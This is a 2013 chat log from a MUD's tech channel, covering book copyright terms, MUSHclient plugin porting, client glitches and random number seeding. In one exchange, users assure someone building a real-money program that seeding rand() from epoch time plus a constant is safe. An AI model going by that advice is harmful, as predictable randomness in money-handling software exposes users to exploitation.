T3/r7/2013-10-12.txt.gz:{chan ch=tech}Book of Etzli Tech: You probably won't find books by James Patterson, Dean Koontz, Stephen King, etc. on it, though.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: thanks allot guys, im going to relax reading in between quests :-) 
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Daloran.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: I think US copyright on literature is what, artists lifespan+75 years? I might be mistaken though
T3/r7/2013-10-12.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: oh what a lovely site that is :-) 
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Books before 1923, copyright has expired. Books post-1923 can still have copyrights, IF the copyright is renewed.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Book of Etzli Tech: All books from 1964 to 1977 have their copyrights automatically renewed for 67 years after the initial 28 year copyright.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Book of Etzli Tech: So, the expiration on a book published in 1977 will be 2072.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Book of Etzli Tech: But generally speaking, copyright is in effect for 70 years after the death of an author.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Of course, this means most of us won't live to see the copyright protection taken off modern-day books.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Book of Etzli Tech: http://cocatalog.loc.gov/cgi-bin/Pwebrecon.cgi?DB=local&PAGE=First -- Copyright searches. :D
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Zade Tech: so avoid buying digital books -- buy only second-hand paper books, and resell back to second-hand book-stores
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: buying digital books is just fine =p
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Zade Tech: (unless second-hand digital books may be resold to second-hand bookstores and resold legimately with the store retaining the profits)
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Daloran.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Ive just stumbled onto wattpad.com    looks quite nice , allot of new books also for free
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Book of Etzli Tech: I was trying to think of wattpad, too. Hah.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Glad you found it.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: heh, thanks :-)  im going to take my time and read through allot of those books
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tasty Tipro Tech: and there is an object flag for nodisarm
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tasty Tipro Tech: mis
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I changed my baby son's poopy diaper, and my hands smell like his excrement even after washing.  Help?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daesilme Tech: Unless your child is a cyborg, I'm not quite sure why you're asking on tech.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Did you try to turn it off, then turn it back on?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Pleiades Tech: might be a virtual baby
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Elysian Tech: probably a tamagochi
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: does anybody still play tamagatchi?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Navi Tech: Like a tamogatchi? Don't you just like, shake it or something?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Pleiades Tech: like one of those japenese toys that dies if you don't take care of it
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: Pleiades nods.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Book of Etzli Tech: By the way, only feeding the troll by getting your panties in a bunch about it not being a tech question.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: I keep a bottle of coconut-flavored hand sanitizer for those times.  If nothing else, once I've used it, I smell like rum instead.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Book of Etzli Tech: I use bleach, Taki. And burn it off.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: alright, I'll try hand sanitizer.  does that neutralize fecal matter?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: why aren't there ass sanitizers?  ethyl wipes, one and done
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Better questions for gossip.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: Book of Etzli shrugs helplessly.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: test
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: So, those miniwindows from the aardwolf mushclient, can those plugins be used in a different mud by changing some of the code?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Redryn Tech: well that depends on how much 'some' is
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: Well, I guess I could say I'm new to the coding of those plugins. But I've got no problem in learning it and so some would probably mean that..
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: miniwindows are a feature of MUSHclient
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: That I want to change it for the mud I play
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: they're not an Aard thing
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: I know that
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You would do better to try coding from scratch first, rather than try porting as your first time coding
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: I disagree, vakieh
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: I'm not trying, I'm asking for possibilities.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Redryn Tech: the possibility increases as % code change approaches 100%
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: I have to code up my own plugins anyways for the mud later, I just want to check it out, learn the code and so on.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Suffice to say you would first need to learn how Aardwolf works, then learn how Mushclient/Plugins work, then apply that to your mud, which might be similar or totally different
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: scaraath: really, it comes down to which plugins, and what information they're using...if it's a GMCP-based plugin and your MUD doesn't use GMCP, then it's easier to just start over for most
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: How aardwolf works, what you mean by that?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: if it's a MUD output-based plugin, and you can figure out the pattern change for your MUD's output, then it's trivial
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: My mud doesn't use plugins, it's like straight text with ansi colors
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: oldschool you could say
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: all muds use plugins
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: GMCP, for example, was an attempted standard which fell through and became a aardwolf-only thing, more or less (because the Ironrealms version is GMCP in name only)
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: they're a feature of the client, not of the mud
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: Aard uses straight text with ansi colors
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: GMCP is nowhere near an Aardwolf-only thing
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: I'll look into the plugin code of the aardwolf client later, I'm just asking simply, is it possible to change the specific code of the aardwolf plugins, so it's available to use for a different mud? Since I'm guessing some code has to be changed in order of the plugin to work properly
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: it's 100% possible to do that for any plugin written for any MUD
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It's like saying can this part from a Toyota engine be fitted to this Ford engine, with some changes. Yes, but the changes might be a lot
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: Thank you, the question was simple as that :D
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: a plugin is defined by its code...change enough of the code and it's any other plugin
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: A gquest plugin for Aard would be pretty pointless in any other mud
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The mapper's pathing would be almost universally useful
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: before I crash something, mushclient doesn't mind if I open the xml files while the client is on right? Not changing something in it..
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: that's fine...you could even change the xml file
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: Oh cool.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Make backups...
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: MUSH won't re-read the file until it's relaunched or reloaded from the file -> plugin menu
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: kay
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: client scripts really come down to 2 things...(1) figuring out a pattern to match...and (2) the logic of the plugin itself
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: much of (2) will work anywhere, so if you can figure out (1), you can be OK
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: Yea, my problem is kind of that I don't know which things need which things to work properly. I'll find out, though for now, I'm like trying to learn the 'vanilla' of everything
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: half of my plugins are just modifications of the minimap plugin
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Redryn Tech: best way to learn is to start off small
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Redryn Tech: try making minor changes and see what it causes
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: i.e. I wanted a miniwindow to hold info that the MUD outputs...the minimap plugin already does that...I just needed to change it from "capture everything between <MAPSTART> and <MAPEND>" to "capture everything between <ThisOtherArbitraryStart> and <ThisOtherArbitraryEnd>"
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: every "just capture" plugin will boil down to that
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: Yay, I love good commentary :D
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Redryn Tech: the real question is... why are you playing some other mud
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: Because I maybe have an other favorite? And prefer other themes?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: if your MUD doesn't support GMCP, then you'd want to look for OLD plugins which were pre-GMCP if the current ones use it
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: like if you wanted channel captures...it's MUCH less work to just grab a 4-year-old plugin than it would be to port the current Aardwolf channel capture stuff
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: not easy to find stuff that's old, trust me, I've tried for like weeks to gather sources on lambdamoo coding
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: actually it's very easy to find the old stuff
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: I'm here on Aardwolf asking because there are many people with experience about this stuff.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: At the end of the day, you have inputs, and outputs, and all of it is text. It's programming in its 2nd most basic form.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: Not if the stuff is from 1990+ and most of the sites are already offline
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: http://www.gammon.com.au/mushclient/plugins/Aardwolf/
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: wayback machine says wasssssuuuuuuup
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: ^^
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: there's the plugins from the previous generation of aardwolf MUSHclient, which Gammon and Lasher worked on before Fiendish made the current one
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: if you go to www.mushclient.com/search.htm, you can search and see many ancient MUSHclient plugins
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: the mapper from that version of the plugin used ATCP (GMCP is also known as ATCP2), so it still wouldn't be good as a general mapper like Zmud's without heavy modification, but most other things can be readily modified
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: another question, I wonder why my mcl files from mushclient aren't see able but useable
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: huh?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: when I'm in the folder of Mushclient\worlds there is nothing there
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: there's not even a Plugins folder there?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: no there is.. I mean if I start mushclient and then go open worlds I can see the mcl files, but if I use windows explorer I can't see those files
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: you could've moved the mcl file...the standard MUSHclient install has a fully-visible mcl file and the Plugins folder
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: How would I find out? no idea if I ever moved stuff around
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: when you start MUSHclient and go to open worlds, check the file path in that open dialog window
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: same file path that I'm in with explorer
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: quite funny... If I use the aardwolf mushclient (which I've extracted on a different folder on the desktop) I can see the mcl files there
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: I'd triple-check...especially since you already play another MUD, and you downloaded the Aard MUSHclient, you have multiple MUSHclient folders
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: Ah problem solved
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: stupid win explorer
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: You snicker softly.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: Actually I would like to create a whole new plugin from start over so I understand. For example, a miniwindow plugin which displays the output after a specific command
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: Any help on that? Like guides and so?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: best thing is to just grab another miniwin plugin and change the alias and capture criteria
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: Yea, but then I just search and look and change and actually have no idea what I just did... pretty annoying when you want to debug something
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: if you have no idea what you just did, then you wouldn't be able to do one from the start
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: you shouldn't just be search/look/change...you should actually read
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: the plugin tells you what it's doing
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: look=read
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: then your statement is untrue
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: of course I would be able to make one from the start if I would have a guide for a simple plugin. I mean that's how you learn programming, or that's how I prefer to learn programming
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: to be honest, if you haven't been able to find a guide, and tell me that finding old plugins is too difficult, I don't see you being successful in this or most programming endeavors
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: Gammon puts guides ALL OVER the MUSHclient site
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: never said I didn't find a guide
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: oh good, then you're not asking for one here which you just did
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: use the source, luke
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: the main reason to start with an existing plugin, is that doing a miniwindow right is a VERY complex thing
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: you can do non-miniwindows extremely simply, however
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: if you just wanted to throw up a window with stuff in it, then it's pretty easy, and that window will be resizeable, scrollable, etc...turning that window into a miniwin means telling it how and where to make scrolls, resizes, etc.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: Yea, didn't see why asking for A guide, like 'Yea, look at this, I've used that guide when I learned this and that, it's pretty good' is such a question where responsing in your way is necessary
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: I've already told you where to look for many things, and you're still not even knowing where to begin...
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: you could've already written a capture plugin by now by following my direction
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: I just expected different answers, that's all.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: www.mushclient.com has tons of guides, some youtube videos, etc...most of his guides walk through making proof-of-concept plugins
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: the truth doesn't change...
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Scaraath Tech: Yea, I'm already reading on it since you mentioned it last
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: Grissom celebrates Abelinc's performance and rhetoric
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: why wouldn't that have been where you went well before coming to aard?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: "I'm looking for info on writing MUSHclient plugins"...first response...try going to MUSHclient's site, there's probably docs there
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Redryn Tech: you need to stop looking for info and start doing
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: long answer will still be that the best thing to do is look at existing plugins
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: my "board" miniwin plugin is a decent example of capturing multiline output which is not already bounded by "tags"
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: it uses the "echo" command to emulate ad-hoc tags...if your MUD doesn't have an echo command, you could use any other private channel (whisper to yourself, etc)
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Ocho Ocho Ocho Tech: why does my mushclient turn random items on auction into html color codes?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Ocho Ocho Ocho Tech: Auction: VampireDude is auctioning 226a 227s228m229a230l231l 230b229u228n227c227h 228o229f 230l231e230m229o228n 227w226e227d228g229e230s (Level 129, Num 264). Current bid is 100.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Pumpkin Tech: make sure you upgrade your aardwolf client, especially the channel redirector
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Ocho Ocho Ocho Tech: Ive been using the same one made for aard forever
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Pumpkin Tech: that's probably an old version bugging on 256 colour
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Ocho Ocho Ocho Tech: where can I find upgrade link?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: help www
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Jopari Tech: how do you reset the screen in aardwolf rpg again? reset aard or something?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Nuanse Tech: resetaard?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: click on menu button, select more then reconnect
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Jopari Tech: says it,s an 
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Jopari Tech: unknown command
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Jopari Tech: wierd
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: don't believe there is such a command in aardwolf rpg...those are for aard MUSHclient package
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: aardwolf rpg is blowtorch for android
T3/r7/2013-10-13.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: yes Abelinc you cant reset aard only reconnect in Aard rpg.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: if you reconnect, it close the connection then start a fresh one clearing screen
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Jopari Tech: i don't scroll right. touching sends me somewhere else.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Jopari Tech: not working, already reconnected
T3/r7/2013-10-13.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Anyone knows how to get Office working with Playonlinux?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: thats strange mine just reconnected , idk whats wrong then
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Jopari Tech: aha, found it.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Jopari Tech: toggle full screen
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Wittle Naer Tech: Any programmers present?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: you looking for cobol?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Wittle Naer Tech: o.O?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: best to specify the language and question
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Wittle Naer Tech: Any language.  It's about random number generating.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Hanslanda Tech: just ask the question.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Pleiades Tech: mumps?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Wittle Naer Tech: I'm working with C++, but it doesn't really matter.  I'm more interested in the concept than the execution.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: they are tied!
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Wittle Naer Tech: Alright, how can you make an unpredictable random number generator? :P
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Book of Etzli Tech: The best you can do is create a new randomseed each time.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Hanslanda Tech: technically, you cannot.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Wittle Naer Tech: If you generate the seed from computer time, anyone who knows when the seed was generated can predict the "random" numbers.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: that is a question they are sitll trying to solve.  random number generators aren't trully random.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Most accomplish this by getting the epoch time and using that.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: Wittle Naer nods at Book of Etzli.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Book of Etzli Tech: But for instance, I can set my randomseed to 1, and know that random(3) would get me 1, 3, 3, 1, 1 in that order each and every time.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Wittle Naer Tech: Can you grab the epoch time, add a number of your choosing, and use that?  Like, srand(time(NULL)+10284)?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Wittle Naer Tech: or something like that
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Sure can.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Hanslanda Tech: all generated random numbers are ultimately based on processing cycles, which in turn are based on some sort of periodic cycle (ie, electrical current, halflife decay rate of a particular substance, etc)
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Book of Etzli Tech: You can even raise epoch time to its power, if you so wanted.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Navi Tech: return 4; No one wll expect it. ;)
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Schnapps Tech: Sure, the seed is just a number. People use the time because it changes each execution.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Schnapps.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Hanslanda Tech: this means that given enough time, your random number generated will repeat itself in a predictable pattern.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Schnapps Tech: While that's true, there are algorithms like Mersenne twister that have extremely long periodicity to avoid that problem.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Wittle Naer Tech: So for programs like gambling machines and stuff, what do they do to make it so people can't write programs to figure out the next "random" number?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: just grab from random.org which goes well out of its way to approximate randomness...or really, for 99.9999% of uses, there's nothing wrong with a standard rand()
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Schnapps Tech: It's usually not a practical concern (random number generators repeating).
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Schnapps Tech: Even if you know the output of the gambling machine, an observer doesn't know the internal state of the machine (and therefore the random number that was generated).
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Wittle Naer Tech: So it's 100% safe?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: things which require more-true randomness, they use external physical sensors as seeds
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: Wittle Naer nods.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Wittle Naer Tech: Radio noise, etc.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Schnapps Tech: 100% safe? No, never. Safe enough for nearly any practical application? Probably.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Wozniak Tech: Anyone a ham radio operator?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Wittle Naer Tech: I'm not THAT worried about it.  But my program is dealing with people's real money, and I don't want anyone to be able to predict it.  It could make many people unhappy with me :P
T3/r7/2013-10-13.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: look at random.org discussion it pretty interesting
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: yes woz
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Wittle Naer Tech: Should I be ok with grabbing from the epoch time?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: but really psuedorandom is good enough for nearly everything
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Schnapps Tech: Yeah, epoch time is fine. If you're worried about it add some small constant to the epoch time.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Wittle Naer Tech: Should I add, subtract, or whatever to that for added safety?  Would it help?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Book of Etzli Tech: It would increase the safeness, yes.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Wozniak Tech: That's cool. I'm going to try and get my technician license some day
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Zade Tech: if the gamblers know which RNG algorythm used and how the RNG numbers are used, some predictability is possible.  Even if they don't know initially, some trends may be observed with some flawed algorytms and flawed usages.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: much easier since they came out with codeless tech
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Wittle Naer Tech: Awesome, thanks so much guys!  I've got what I need.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Zade Tech: some of the Knuth algorythms used by some other muds are grossly flawed
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: heh, I've gotta renew my license once the government shutdown is over
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Shinwoo Tech: in mush client I cant see my map its off the screen.  Is there a way to get it back?'
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: I think there's a command like resetaard that will put all the windows back where they are by default.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: yup :)
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Shinwoo Tech: still cant find it any other suggestion atlanta?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: is it the minimap (ASCII map) or the GMCP mapper (the one with blocks and lines) that you can't see?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: if you've done resetaard and still can't see it, then it's probably covered up by another miniwindow...resetaard only controls miniwindows which were written using Fiendish's "higher/lower" setup
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: Bast's stuff uses his own method of doing that
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: is there a way to setup mushclient to have multiple characters? example differnt mapper for each character?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Mr. Dash Tech: different installations is really the only way
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Mr. Dash Tech: the db and plugin doesn't discriminate between who's online
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: different world file will do it
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Mr. Dash Tech: a separate world file will build another aardwolf.db? news to me
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: mapper db is named for the world...rename the world and it won't recognize the mapper
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Mr. Dash Tech: good call
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: you'll often see people say that their mapper is empty, and the reason is that they accidentally renamed their world
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: but could you still use the mapper? with a different named world? i.e. aardwolf2
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: yup
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: cool
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: copy a base mapper file to the worldname.db
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Ayasinda Tech: but at start it will be empty
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Martini & Tyebald Tech: can rename the .db file to match the world name if you wish, though.  it will fix that particular issue.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: that's actually a downside of using itemIDs for portals ;-)
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: yes, yes it is... also bag ids to store the portals =)
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: if you use keywords instead, then you can share a mapper file between chars
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: but the bags move around sometimes... so its not always in 1.bag might be in 2.bag or 3.bag
